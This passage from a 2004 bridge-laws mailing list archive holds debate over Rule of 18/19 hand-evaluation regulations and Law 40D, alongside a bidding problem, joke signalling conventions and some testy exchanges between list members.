Aussie partnership which may play a non-conventional non-system. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From richard.hills@immi.gov.au Tue Jan 6 02:14:06 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 12:14:06 +1000 Subject: [blml] Cooper echo Message-ID: Nigel Guthrie: [snip] >Arguably, such signals are merely a >politeness to opponents to avoid gloating >overtly about impending success. You >could even use odd-even and other nuances >to indicate what you'd like to drink. Richard James Hills: Another great convention is the defensive signal of the Congratulatory Jack. If you are playing matchpoint pairs, and pard's early defence has brilliantly saved an overtrick, discarding a jack has the meaning, "Well defended, pard!" But my personal favourite of these type of conventions is the Zia 3S. Many years ago, Zia and Masood had the agreement that in response to 1NT, 3S had the meaning, "Bid 3NT, which I will pass." One might guess that the Zia 3S was a waste of bidding space, since the sequence 1NT - 3NT achieved the same technical result. But the Zia 3S actually gained many imps for the Masood-Zia partnership. This was because the Zia 3S had the secondary meaning of, "Sorry about my mangling of an earlier hand, pard." When the Zia 3S was used, partnership morale and partnership results improved. :-) Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Tue Jan 6 02:01:11 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jan 2004 02:01:11 +0000 Subject: [blml] Range restrictions In-Reply-To: References: Message-ID: RJH wrote >John (MadDog) Probst: >>then who am I to argue, *unless* they have broken >>the Laws of Bridge, as opposed to applying >>judgement to a regulation. cheers john >An invalid argument. Law 40D gives the EBU >regulatory powers sufficient to enforce a Rule of >18 or 19, according to the WBF LC. > >Therefore, an infraction of the EBU hand-evaluation >White Book regulation is equivalent to an >infraction of Law 40D. Orange, not White. >Any TD who does not enforce the EBU's Lawfully >delegated regulatory power is in breach of that >TD's obligations under Law 81B2. Furthermore, the EBU trains its TDs and expects them to follow its training, its interpretations and its regulations. If a TD says "I shall not follow this regulation because it is illegal" what right has he got to decide that the EBU is wrong? It is not unheard of for TDs to make a mistake. I believe that a TD who follows this course has been unnecessarily arrogant unless he knows that [for example] his training and a regulation disagree. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Tue Jan 6 02:26:49 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 15:26:49 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001d01c3d3fc$8a3eb2d0$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On=20 > Behalf Of richard.hills@immi.gov.au > Sent: Tuesday, 6 January 2004 1:51 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions >=20 >=20 >=20 >=20 >=20 >=20 > Richard James Hills: >=20 > >>I disagree with the question-begging "of course illegal". The > >>ABF uses the same Law 40D gimmick that the ACBL and the EBU > >>use to regulate systems - any non-Yellow system which infracts > >>the Rule of 18 must be a non-Yellow system which uses *zero* > >>conventions. No such non-conventional Aussie system yet > >>exists. (Although I would not be surprised if an Aussie youth > >>pair adopts a "no conventions" system for a future frolic.) >=20 > Wayne Burrows: >=20 > >I do not see this gimmick in the ABF regulations that I read at > > > >http://www.abf.com.au/events/tournregs/sysregs.pdf > > > >Where is the updated version found? >=20 > Richard James Hills: >=20 > The ABF does not *mention* the Law 40D gimmick in its system > regulations. The ABF merely uses the Law 40D gimmick as the > Lawful *authority* to create its system regulations. I do not believe that is a lawful use of the gimmick. The regulations as written regulate directly non-conventional bids. They do not do so by stating that you are only subject to the regulations if you play conventions. For example if I play a radical method of 5-10 hcp natural weak twos=20 which is outside the law of 15 required for a Green system and I play no conventional bids thereafter how do I apply the regulations? What category do I fit into. Wayne >=20 > Naturally, the ABF system regulations are not applicable to any > future Aussie partnership which may play a non-conventional > non-system. >=20 > Best wishes >=20 > RJH > -------------------------------------------------------------- > ------------------------ > Important Warning: If you have received this email in error, please > advise the sender and delete the message and attachments=20 > immediately. =A0This > email, including attachments, may contain confidential,=20 > legally privileged > and/or copyright information, the unauthorised use of which=20 > is prohibited. > Any views expressed in this email are those of the individual sender, > except where the sender expressly, and with authority, states=20 > them to be > the view of the Department of Immigration and Multicultural=20 > and Indigenous > Affairs (DIMIA). =A0DIMIA respects your privacy and has=20 > obligations under the > Privacy Act 1988 (see www.immi.gov.au). > -------------------------------------------------------------- > ------------------------ >=20 >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml >=20 From wayne.burrows@xtra.co.nz Tue Jan 6 02:32:03 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 15:32:03 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <001e01c3d3fd$4617b010$03e536d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Tuesday, 6 January 2004 2:01 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > RJH wrote > >John (MadDog) Probst: > > >>then who am I to argue, *unless* they have broken > >>the Laws of Bridge, as opposed to applying > >>judgement to a regulation. cheers john > > >An invalid argument. Law 40D gives the EBU > >regulatory powers sufficient to enforce a Rule of > >18 or 19, according to the WBF LC. > > > >Therefore, an infraction of the EBU hand-evaluation > >White Book regulation is equivalent to an > >infraction of Law 40D. > > Orange, not White. > > >Any TD who does not enforce the EBU's Lawfully > >delegated regulatory power is in breach of that > >TD's obligations under Law 81B2. > > Furthermore, the EBU trains its TDs and expects them to follow its > training, its interpretations and its regulations. If a TD says "I > shall not follow this regulation because it is illegal" what > right has > he got to decide that the EBU is wrong? It is not unheard of > for TDs to > make a mistake. I believe that a TD who follows this course has been > unnecessarily arrogant unless he knows that [for example] his > training > and a regulation disagree. A similar arrogance has been responsible for many constructive changes in society why should it not be so in bridge? Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From richard.hills@immi.gov.au Tue Jan 6 03:53:16 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 13:53:16 +1000 Subject: [blml] 2004 ABF Alerting Regulations Message-ID: Herman De Wael: [snip] >I prefer to be able to rule against people acting >as liars and cheats from some other regulation. >That will stop liars and cheats, and it will also >stop currently honest people from becoming cheats >because they see it won't work. Richard James Hills: I both agree and disagree with Herman. I agree that there is an iron law, "what gets rewarded is what is done." I agree that if liars and cheats are rewarded for their unethics, by escaping any sanction, then lying and cheating will be increased. I agree with the concept of the current "could have known" Laws. I support a modest extension of "could have known" Laws in the 2006 edition of the fabulous Law book. Example: I support the conversion of Law 72A2, Law 72B3, Law 73D2, and Law 74C5 to "could have known" format. However... I do not support the general De Wael position of arbitrarily and automatically ruling against the putative OS under Law 85 whenever the facts are disputed. And I do not support the particular De Wael position of arbitrarily and automatically ruling that players have lied about their partnership agreements (or lack thereof). Indeed, I do not support the De Wael reversal of the onus of proof, which implicitly states, "Better 99 innocent are convicted, than 1 guilty goes free." :-( Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From blml@blakjak.com Tue Jan 6 03:11:52 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jan 2004 03:11:52 +0000 Subject: [blml] Range restrictions In-Reply-To: <001d01c3d3fc$8a3eb2d0$03e536d2@Desktop> References: <001d01c3d3fc$8a3eb2d0$03e536d2@Desktop> Message-ID: <3UyipjU4di+$Ewy2@blakjak.demon.co.uk> Wayne Burrows wrote >I do not believe that is a lawful use of the gimmick. We know this because it is your 450th post on the subject. Some people agree with you, some do not, most do not care. But I think that your repeated statement with nothing new is not going to convince anyone. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From richard.hills@immi.gov.au Tue Jan 6 04:16:41 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Tue, 6 Jan 2004 14:16:41 +1000 Subject: [blml] Like a diamond in the sky Message-ID: John Raymond Carson: >Scintillate, scintillate >Globule lucific >Fain would I fathom >Thy nature specific >Loftily perched >In the ether capacious >Strongly resembling >A gem carbonaceous. Richard James Hills: South-West Pacific Teams Both teams are seeded Dlr: West Vul: All The bidding has gone: WEST NORTH EAST SOUTH 4H Pass Pass 4S Pass 5D Pass ? You, South, hold: AQ854 AJ 73 KQ95 What call do you make? What other calls do you consider making? Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From wayne@ebridgenz.com Tue Jan 6 04:11:08 2004 From: wayne@ebridgenz.com (wayne@ebridgenz.com) Date: Tue, 6 Jan 2004 17:11:08 +1300 Subject: [blml] Range restrictions In-Reply-To: <3UyipjU4di+$Ewy2@blakjak.demon.co.uk> Message-ID: <000201c3d40b$20882d30$89ce36d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Tuesday, 6 January 2004 3:12 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Wayne Burrows wrote > > >I do not believe that is a lawful use of the gimmick. > > We know this because it is your 450th post on the subject. You saying that David does not make it true. > > Some people agree with you, some do not, most do not care. > > But I think that your repeated statement with nothing new > is not going > to convince anyone. On the contrary this is a new statement. While the EBU and other regulations explicitly state that if you play .... then you may not play any conventions the ABF regulations do not use this guise. This is a new point if you only bothered to read the post you might begin to appreciate the content. Frankly I find your repeated personal attacks in this forum and in other forums a bore. Yawn! Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > From blml@blakjak.com Tue Jan 6 04:45:25 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jan 2004 04:45:25 +0000 Subject: [blml] Range restrictions In-Reply-To: <000201c3d40b$20882d30$89ce36d2@Desktop> References: <3UyipjU4di+$Ewy2@blakjak.demon.co.uk> <000201c3d40b$20882d30$89ce36d2@Desktop> Message-ID: Wayne wrote >On the contrary this is a new statement. > >While the EBU and other regulations explicitly state that if you play >.... >then you may not play any conventions the ABF regulations do not use >this >guise. What difference? Either it is legal or it is not. >This is a new point if you only bothered to read the post you might >begin >to appreciate the content. > >Frankly I find your repeated personal attacks in this forum and in other >forums a bore. Yawn! It is not a personal attack. If you with to continue feel free. There is nothing personal in it. But it will not change people's ideas if you add nothing to what you have said before. You say it is illegal - and that is all you have said this time. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From wayne.burrows@xtra.co.nz Tue Jan 6 05:01:15 2004 From: wayne.burrows@xtra.co.nz (Wayne Burrows) Date: Tue, 6 Jan 2004 18:01:15 +1300 Subject: [blml] Range restrictions In-Reply-To: Message-ID: <000901c3d412$1daaf9b0$89ce36d2@Desktop> > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On > Behalf Of David Stevenson > Sent: Tuesday, 6 January 2004 4:45 p.m. > To: blml@rtflb.org > Subject: Re: [blml] Range restrictions > > > Wayne wrote > > >On the contrary this is a new statement. > > > >While the EBU and other regulations explicitly state that if you play > >.... > >then you may not play any conventions the ABF regulations do not use > >this > >guise. > > What difference? Either it is legal or it is not. > > >This is a new point if you only bothered to read the post you might > >begin > >to appreciate the content. > > > >Frankly I find your repeated personal attacks in this forum > and in other > >forums a bore. Yawn! > > It is not a personal attack. If you with to continue feel > free. There > is nothing personal in it. > > But it will not change people's ideas if you add nothing > to what you > have said before. You say it is illegal - and that is all > you have said > this time. Which of the following are legal with regard to natural one-level openings within a King of average strength? 1. You may not play Rule of 17 2. Rule of 17 is classified as Yellow 3. You may play Rule of 17 only if thereafter you play no conventions I say 1 and 2 are illegal - absolutely no basis in the laws or any obscure WBF minute that I have seen. 3. has been declared legal by WBF inspite of its absurdity. Wayne > > -- > David Stevenson Bridge RTFLB Cats Railways /\ /\ > Liverpool, England, UK Fax: +44 870 055 7697 @ @ > ICQ 20039682 bluejak on > OKB =( + )= > Lawspage: http://blakjak.com/lws_menu.htm ~ > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From blml@blakjak.com Tue Jan 6 05:10:58 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jan 2004 05:10:58 +0000 Subject: [blml] Range restrictions In-Reply-To: <000901c3d412$1daaf9b0$89ce36d2@Desktop> References: <000901c3d412$1daaf9b0$89ce36d2@Desktop> Message-ID: Wayne Burrows wrote >Which of the following are legal with regard to natural one-level >openings within a King of average strength? > >1. You may not play Rule of 17 > >2. Rule of 17 is classified as Yellow > >3. You may play Rule of 17 only if thereafter you play no conventions > >I say 1 and 2 are illegal - absolutely no basis in the laws or any >obscure WBF minute that I have seen. > >3. has been declared legal by WBF inspite of its absurdity. I see what you mean: you are suggesting that the ABF has said #1 or #2 rather than #3. But what are you intending to do about it? Surely I have not misread you all these years: you believe #1, #2 *and* #3 are illegal. So it makes no difference, surely, whether they use #1, #2 or #3 in your view? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From twm@cix.co.uk Tue Jan 6 10:30:00 2004 From: twm@cix.co.uk (Tim West-Meads) Date: Tue, 6 Jan 2004 10:30 +0000 (GMT Standard Time) Subject: [blml] Range restrictions In-Reply-To: Message-ID: Richard wrote > the hoi polloi Please refrain from this habit. "Hoi" is the greek definite article and while "The The common people" is presumably the backing vocalists for some sort of beat combo but I cannot see the relevance of such to the debate. > Edgar Kaplan's more accurate method of hand evaluation > is impractical to embed in regulation - Jeff Rubens > had to write a detailed computer program to simulate > Edgar's thought processes. Why is this a problem? If we say "must be worth at least 8.213 on the the K/R evaluator" then not only do we have a fixed standard but players at the table get to use their "judgement" to decide whether a hand is better/worse than the standard. Tim From hermandw@hdw.be Tue Jan 6 10:58:49 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 06 Jan 2004 11:58:49 +0100 Subject: [blml] Range restrictions In-Reply-To: References: Message-ID: <3FFA94E9.3080208@hdw.be> Hello Tim, Tim West-Meads wrote: > Richard wrote > >>the hoi polloi > > > Please refrain from this habit. "Hoi" is the greek definite article and > while "The The common people" is presumably the backing vocalists for some > sort of beat combo but I cannot see the relevance of such to the debate. > LOL - especially with the grammatical error in your sentence. > >>Edgar Kaplan's more accurate method of hand evaluation >>is impractical to embed in regulation - Jeff Rubens >>had to write a detailed computer program to simulate >>Edgar's thought processes. > > > Why is this a problem? If we say "must be worth at least 8.213 on the the > K/R evaluator" then not only do we have a fixed standard but players at > the table get to use their "judgement" to decide whether a hand is > better/worse than the standard. > Why is that a problem? Well, Tim, let me tell you why this is a problem. (*) Next week, someone will open a hand worth 8.212 on the K/R evaluator and he will say that the regulation forbidding this should actually read "less than 8.213 or equivalent judgment". * (Of course apart from the fact that no-one is able to calculate the K/R value in the first place) > -- Herman DE WAEL Antwerpen Belgium http://users.skynet.be/hermandw/index.html From nigel.guthrie@ntlworld.com Tue Jan 6 13:48:28 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jan 2004 13:48:28 -0000 Subject: [blml] Like a diamond in the sky References: Message-ID: <005b01c3d45b$c48886a0$789468d5@tinyhrieuyik> [Richard James Hills] South-West Pacific Teams Both teams are seeded Dlr: West Vul: All The bidding has gone: WEST NORTH EAST SOUTH 4H Pass Pass 4S Pass 5D Pass ? You, South, hold: AQ854 AJ 73 KQ95 What call do you make? What other calls do you consider making? [Nigel] 5H=10 P=5 6S=3 Does 5D suggest an alternative contract? or is it a cue-bid? 5H is the safety-play each way bet. Unless partner rebids firmly and closes his hand decisively, I will face a similar problem on the next round ;} ;} ;} If bids above 3N are alertable, I would, of course, alert 5D; and explain no agreement, but likely to be a cue bid; assuming that a player familiar with my style, in a ceded team, would not raise the level, in a speculative attempt to improve the contract. And no, I would *never* claim such an interpretation to be *general knowledge and experience* --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Tue Jan 6 14:16:18 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jan 2004 14:16:18 -0000 Subject: [blml] Range restrictions References: Message-ID: <007101c3d45f$b072c8c0$789468d5@tinyhrieuyik> [Richard James Hills] Why? Bottom-up rules are preferred to top-down rules by the majority of players. There are many parochial bridge players, and correspondingly few xenophiles. [Nigel] I dispute your contention. But if true, then the laws should attempt to re-educate players to be less chauvinistic and xenophobic. And given your beliefs, I'm amazed that you should take such a stance on this fundamental moral matter. Would you argue in favour of law for the compulsory repatriation of immigrants, even if it was overwhelmingly popular? or the death penalty for miscegenation? In most cases, I respect the will of the people, but occasionally I am thankful that we do not reside in an Athenian democracy. {Richard James Hills] Since the vast majority of hoi polloi use the Milton Work point count, then the ACBL, EBU and ABF rules make practical sense, even though such rules are only a crude approximation of true hand evaluation. [Nigel] You are tilting at windmills. I reckon that if you *must* have such laws, then they should be as simple and as objective as possible. BLML sophists can manufacture contradictory interpretations of even the current simple rules. [Richard James Hills] In practice, all SOs will specifically countermand any generic hand evaluation rule, so a TFLB template would be inutile. Of course, if there were just one obvious and best hand evaluation method, then such a hand evaluation method could be included in TFLB as a best practice example. [Nigel] Not a *template* - rather - a *compete* set of laws. Admittedly, SOs for some events might treat them as *defaults* from which to depart; but then players like Wayne Burroughs and I would be free to vote with our feet if we preferred WBF rules to idiosyncratic local "Fairy" variations. Now that *is* Democracy! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Tue Jan 6 14:19:27 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jan 2004 14:19:27 -0000 Subject: [blml] Range restrictions Message-ID: <007901c3d460$184c2c20$789468d5@tinyhrieuyik> [Richard James Hills] Any TD who does not enforce the EBU's Lawfully delegated regulatory power is in breach of that TD's obligations under Law 81B2. [Nigel sent to Richard, Sorry, intended for list] The situation may be much worse than that. I dimly remember that Tim West-Meads polled some senior EBU TDs and EBULC members and found that the majority... (1) Do not enforce rule of 19 regulations. (2) Refuse to comply with them, themselves. I used to think that these rules, at least had the merit of objectivity. But I did not allow for David Stevenson et al insisting on introducing the subjective legal judgements, which players dread, and of which TDs are so fond. They insist that these rules, too, are a matter of judgement. But they do not seem to realise that by applying their "expert" judgement, they drive a coach and horses through any attempt at regulation. For example, they can hardly criticise my *inexpert* judgement that a 23456 combination has a high value. (: I may not be much good at Bridge but I play Poker :). Another ridiculous example: John Probst would always opens with QJT98 KJT9 T987 - If you may use such judgement in interpreting its regulations, then you may as well throw the EBU Orange book into the bin. What is completely unfair is that Walruses like me still masochistically adhere to these rules. Thus we suffer ~ 10 imps per match self-imposed handicap, when playing against teams like John Probst's. I hasten to add that I cast no aspersion on the ethics of those whose interpretation differs from mine. I feel that this is yet another example of the pernicious effect of overcomplicated and unnecessary rules. Devolution of responsibility exacerbates their malevolent impact. NBO rules differ from place to place and year to year; and, as usual, appear to conflict with TFLB. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From nigel.guthrie@ntlworld.com Tue Jan 6 16:22:33 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jan 2004 16:22:33 -0000 Subject: [blml] Like a diamond in the sky References: <005b01c3d45b$c48886a0$789468d5@tinyhrieuyik> <015501c3d463$581aad60$789468d5@tinyhrieuyik> Message-ID: <022001c3d471$557f39a0$789468d5@tinyhrieuyik> > [Richard James Hills] > South-West Pacific Teams Both teams are seeded > Dlr: West Vul: All > The bidding has gone: > WEST NORTH EAST SOUTH > 4H Pass Pass 4S > Pass 5D Pass ? > You, South, hold: AQ854 AJ 73 KQ95 > What call do you make? > What other calls do you consider making? > > [Nigel] 5H=10 P=5 6S=3 > Does 5D suggest an alternative contract? or is it a > cue-bid? 5H is the safety-play each way bet. > Unless partner rebids firmly and closes his hand > decisively, I will face a similar problem on the > next round ;} ;} ;} > > If bids above 3N are alertable, I would, of course, > alert 5D; and explain no agreement, but likely to be > a cue bid; assuming that a player familiar with my > style, in a ceded team, would not raise the level, > in a speculative attempt to improve the contract. > > And no, I would *never* claim such an interpretation > to be *general knowledge and experience* [Nigel] 6D=10 5H=9 6S=6 P=3 On mature consideration, I've changed my marks. 5D should be a cue-bid, but 6D (: preferably without hesitation :) is a better safety-play -- in case 5D was intended as natural -- because it saves me any further ethical dilemma -- poor partner can fend for himself :) ----- Original Message ----- From: "Nigel Guthrie" To: "Nigel Guthrie" Sent: Tuesday, January 06, 2004 2:42 PM Subject: Re: [blml] Like a diamond in the sky > > [Richard James Hills] > > South-West Pacific Teams Both teams are seeded > > Dlr: West Vul: All > > The bidding has gone: > > WEST NORTH EAST SOUTH > > 4H Pass Pass 4S > > Pass 5D Pass ? > > You, South, hold: AQ854 AJ 73 KQ95 > > What call do you make? > > What other calls do you consider making? > > > > [Nigel] 5H=10 P=5 6S=3 > > Does 5D suggest an alternative contract? or is it a > > cue-bid? 5H is the safety-play each way bet. > > Unless partner rebids firmly and closes his hand > > decisively, I will face a similar problem on the > > next round ;} ;} ;} > > > > If bids above 3N are alertable, I would, of course, > > alert 5D; and explain no agreement, but likely to be > > a cue bid; assuming that a player familiar with my > > style, in a ceded team, would not raise the level, > > in a speculative attempt to improve the contract. > > > > And no, I would *never* claim such an interpretation > > to be *general knowledge and experience* > > [Nigel] 6D=10 5H=9 6S=6 P=3 > On mature consideration, I've changed my marks. 5D > should be a cue-bid, but 6D (: preferably without > hesitation :) is a better safety-play -- in case 5D > was intended as natural -- because it saves me any > further ethical dilemma -- poor partner can fend for > himself :) > > > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From toddz@att.net Tue Jan 6 17:39:58 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Tue, 06 Jan 2004 12:39:58 -0500 Subject: [blml] Like a diamond in the sky In-Reply-To: <022001c3d471$557f39a0$789468d5@tinyhrieuyik> References: <005b01c3d45b$c48886a0$789468d5@tinyhrieuyik> <015501c3d463$581aad60$789468d5@tinyhrieuyik> <022001c3d471$557f39a0$789468d5@tinyhrieuyik> Message-ID: <6.0.1.1.1.20040106123211.01b168d0@postoffice.worldnet.att.net> At 11:22 AM 1/6/2004, Nigel Guthrie wrote: > > [Nigel] 6D=10 5H=9 6S=6 P=3 > > On mature consideration, I've changed my marks. 5D > > should be a cue-bid, but 6D (: preferably without > > hesitation :) is a better safety-play -- in case 5D > > was intended as natural -- because it saves me any > > further ethical dilemma -- poor partner can fend for > > himself :) I think the point of the survey is to find out what you would sincerely and seriously do absent any notion of there being an ethical problem. People do absurd stuff all the time in vain attempts to avoid ethical problems. Are such actions actually logical alternatives? For novelty, treat as ethical calling the director on yourself and resigning yourself to his ruling especially in cases that are too close to call. For myself, pass over 4H was not forcing by partner. 5D is not a strong bid since partner would have doubled and then pulled 4S to 5D or have bid 5D directly. Neither my hand nor my clubs are strong enough to justify bidding to the 6-level. If partner thought 4S was the wrong contract, 5S is surely to be worse. I pass. -Todd From nigel.guthrie@ntlworld.com Tue Jan 6 18:12:47 2004 From: nigel.guthrie@ntlworld.com (Nigel Guthrie) Date: Tue, 6 Jan 2004 18:12:47 -0000 Subject: [blml] Range restrictions References: <007101c3d45f$b072c8c0$789468d5@tinyhrieuyik> Message-ID: <02e501c3d480$b3de5260$789468d5@tinyhrieuyik> Correcting spelling of Wayne's name... > [Richard James Hills] > Why? Bottom-up rules are preferred to top-down > rules by the majority of players. There are many > parochial bridge players, and correspondingly few > xenophiles. > [Nigel] > I dispute your contention. But if true, then the > laws should attempt to re-educate players to be > less chauvinistic and xenophobic. And given your > beliefs, I'm amazed that you should take such a > stance on this fundamental moral matter. > Would you argue in favour of law for the compulsory > repatriation of immigrants, even if it was > overwhelmingly popular? or the death penalty for > miscegenation? In most cases, I respect the will of > the people, but occasionally I am thankful that we > don't reside in an Athenian democracy. > > {Richard James Hills] > Since the vast majority of hoi polloi use the Milton > Work point count, then the ACBL, EBU and ABF rules > make practical sense, even though such rules are only > a crude approximation of true hand evaluation. > [Nigel] > You are tilting at windmills. I reckon that if you > *must* have such laws, then they should be as simple > and as objective as possible. BLML sophists can > manufacture contradictory interpretations of even > the current simple rules. > > [Richard James Hills] > In practice, all SOs will specifically countermand > any generic hand evaluation rule, so a TFLB template > would be inutile. Of course, if there were just one > obvious and best hand evaluation method, then such a > hand evaluation method could be included in TFLB as > a best practice example. > [Nigel] > Not a *template* - rather - a *complete* set of laws. > Admittedly, SOs for some events might treat them as > *defaults* from which to depart; but then players like > Wayne Burrows and I would be free to vote with > our feet if we preferred WBF rules to idiosyncratic > local "Fairy" variations. Now that *is* Democracy! --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.553 / Virus Database: 345 - Release Date: 18/12/2003 From richard.hills@immi.gov.au Tue Jan 6 22:28:07 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jan 2004 08:28:07 +1000 Subject: [blml] Cooper echo Message-ID: Nigel Guthrie asked: >>Point of information >> >>If you reassure the table "It is only a question of >>overtricks" (in those words), is that a claim? >> >>Of course, if the statement is inaccurate, you would >>expect the TD to rule against you; >> >>Even if it is correct, the TD might still rule against >>you for gloating or distracting opponents; but is it a >>claim within the TFLB definition? Victor Mollo answered: >"Goodnight," said T.T. interrupting his train of >thought. "My dinner engagement is at seven and it is >now seven-thirty. I shall be late if I don't go soon." > >"Wait for me," pleaded the Rabbit. "We shall be up >after this hand and...." > >S.B. was there in a flash. "That constitutes a claim >under section 70," he declared. Here was a chance to >make up for his earlier faux pas and he was determined >to make the most of it. "Will you kindly make...." > >"....a comprehensive statement," interrupted the Rabbit >to complete the sentence. He had broken more rules >than were dreamed of in S.B.'s philosophy and he knew >the penalties by heart. {Bridge in the Fourth Dimension, page 110} Richard James Hills cautions: All of us blmlers are partly Secretary Birds, Emeritus Professors of Bio-Sophistry. But we must resist the temptation to enforce the power of the One Sophistry on our fellow Rabbit bridge players, or it will in the darkness bind us. Best wishes RJH -----------------------------------------------------------------------= --------------- Important Warning: If you have received this email in error, please advise the sender and delete the message and attachments immediately. =A0= This email, including attachments, may contain confidential, legally privile= ged and/or copyright information, the unauthorised use of which is prohibit= ed. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to b= e the view of the Department of Immigration and Multicultural and Indigen= ous Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations und= er the Privacy Act 1988 (see www.immi.gov.au). -----------------------------------------------------------------------= ---------------= From siegmund@mosquitonet.com Tue 